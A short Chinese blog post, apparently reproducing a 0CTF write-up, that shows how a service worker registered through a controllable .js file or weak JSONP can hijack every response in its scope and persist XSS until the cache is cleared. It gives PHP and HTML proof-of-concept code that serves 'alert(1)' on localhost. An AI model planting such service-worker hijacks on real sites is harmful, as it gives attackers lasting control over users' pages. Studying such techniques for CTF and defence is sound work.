https://hk.saowen.com/a/02abd976c3348e09e374b24be8c4a94ae2dde23ddfac6f3dc63025237b19a96c
上午看到相关0ctf里有相关wp,尝试自己复现
理解:
需要能控制 .js 文件或者 jsonp 弱验证,危害是,如果serviceworker注册成功
那么同目录下文件都能被控制,而且清空缓存才可以结束XSS
复现:
jsonp.php (省事,于是直接echo了js代码)
<?php
header('Content-type: application/javascript');
echo "onfetch = function(e) {
body = '<script>alert(1)</script>' ;
init = { headers : { 'content-type' : 'text/html' } } ;
e.respondWith(
new Response(body,init)
);
}";
?>
index.php (存在xss的地方)
<!DOCTYPE html>
<html>
<head>
<title></title>
<meta charset="utf-8">
</head>
<body>
<script>
if ('serviceWorker' in navigator) {
navigator.serviceWorker.register('http://localhost/ServiceWorker/1.php')
.then(function(registration) {
console.log('ServiceWorker registration successful with scope: ', registration.scope);
})
};
</script>
</body>
</html>
访问index.php之后,console不报错就是注册成功,再次刷新即可发现弹窗。